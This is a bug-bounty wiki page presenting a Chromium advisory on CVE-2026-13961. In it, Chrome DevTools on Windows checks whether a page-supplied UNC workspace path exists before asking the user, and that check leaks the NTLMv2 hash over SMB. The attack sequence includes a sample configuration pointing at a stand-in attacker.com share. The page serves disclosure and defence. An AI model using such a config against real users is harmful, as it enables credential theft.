Skip to content
Info disclosure Advisory Advanced CVE-2026-13961

Insufficient validation of untrusted input in DevTools (CVE-2026-13961)

The DevTools 'Automatic Workspace Folders' feature on Windows checks whether a page-supplied path exists before asking the user for permission. If that path is a UNC network path, the check itself opens an SMB connection and leaks the user's NTLMv2 hash to the remote host.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 46 days

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: The DevTools 'Automatic Workspace Folders' feature on Windows is potentially vulnerable to NTLM credential leakage. A local-origin page can provide a UNC path in its workspace configuration that triggers an outbound SMB connection from the browser process before any user consent is obtained.

Affected files:

  • chrome/browser/devtools/devtools_file_helper.cc
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • third_party/devtools-frontend/src/front_end/models/project_settings/ProjectSettingsModel.ts
  • third_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemManager.ts
  • third_party/devtools-frontend/src/front_end/models/persistence/AutomaticFileSystemWorkspaceBinding.ts
  • third_party/devtools-frontend/src/front_end/panels/sources/NavigatorView.ts

Estimated timestamp from git blame: 2025-02-25

Summary

On Windows, the DevTools 'Automatic Workspace Folders' feature can be manipulated to disclose a user's NTLMv2 challenge-response hash. This occurs because the browser process performs a filesystem existence check on a page-provided path before requesting user permission. If this path is a UNC path (e.g., \\attacker.com\share), the Windows SMB redirector will initiate an outbound connection, leaking credentials to the remote host.

Potential Root Cause

In chrome/browser/devtools/devtools_file_helper.cc, the function DevToolsFileHelper::ConnectAutomaticFileSystem receives a file_system_path provided by the DevTools frontend. On Windows, it validates that the path is absolute using path.IsAbsolute(). However, it does not check if the path is a network or UNC path.

Before displaying a permission Infobar to the user, the code attempts to verify the directory exists:

C++
// chrome/browser/devtools/devtools_file_helper.cc:331
file_task_runner_->PostTaskAndReplyWithResult(
    FROM_HERE, BindOnce(&base::DirectoryExists, path),
    BindOnce(&DevToolsFileHelper::ConnectMissingAutomaticFileSystem, ...));

On Windows, base::DirectoryExists eventually calls the Win32 API GetFileAttributes. When invoked with a UNC path, this API triggers an outbound SMB connection. This connection occurs before ConnectMissingAutomaticFileSystem is called, which is the function responsible for triggering the user consent Infobar.

Persistence and Zero-Click Leakage

If a user initially grants permission for a malicious workspace, the path is saved in the profile's preferences (prefs::kDevToolsFileSystemPaths). On subsequent visits to any localhost page providing the same path, DevTools will automatically attempt to connect. This triggers DevToolsFileWatcher::SharedFileWatcher::AddWatch, which performs directory enumeration (GetModificationTimes), leading to silent, zero-click NTLM leakage in future sessions.

Potential Attack Sequence

  1. An attacker identifies a way to serve content from the victim's localhost (e.g., a local development server or a local service).
  2. The attacker provides a configuration at http://localhost/.well-known/appspecific/com.chrome.devtools.json with a malicious UNC path: {"workspace": {"root": "\\\\attacker.com\\share\\project", "uuid": "..."}}.
  3. The victim opens DevTools on the localhost page. DevTools displays a connectable folder named 'project' (obfuscating the full UNC path).
  4. The victim clicks 'Connect'.
  5. The browser process calls base::DirectoryExists on the UNC path, leaking the NTLMv2 hash to attacker.com before any permission prompt appears.

Suggested Fix

In DevToolsFileHelper::ConnectAutomaticFileSystem, add a check to reject network paths before performing any asynchronous operations. On Windows, this can be achieved by checking path.IsNetwork() or ensuring the path is a local drive path.

C++
if (!path.IsAbsolute() || path.IsNetwork()) {
  // Reject the path
}

Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there's no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code validates that the path is absolute but does not reject network or UNC paths before calling a filesystem existence check, which on Windows triggers an outbound SMB connection.

Impact

An attacker could capture the victim's NTLMv2 challenge-response hash, and if the user previously granted permission for the malicious workspace, later visits to any localhost page could leak it silently without any click.

What the attacker needed

Windows victim; attacker can serve content from victim's localhost; victim opens DevTools on that page; victim clicks Connect (first time only)

The fix

The code should reject network paths, for example by checking that the path is not a network path, before performing any asynchronous filesystem operations.

How it was found

  1. The attacker finds a way to serve content from the victim's localhost.
  2. The attacker serves a DevTools configuration file containing a UNC workspace path.
  3. The victim opens DevTools on the localhost page and sees a connectable folder.
  4. The victim clicks 'Connect'.
  5. The browser checks whether the UNC path exists, leaking the NTLMv2 hash before any permission prompt.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you visit a local web page, Chrome's developer tools can offer to connect to a folder on your computer. The bug is that Chrome checks whether that folder exists before asking you, and on Windows a special network path makes that check contact an attacker's server. That contact can reveal a password-derived value called an NTLM hash, which an attacker may be able to crack or reuse.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.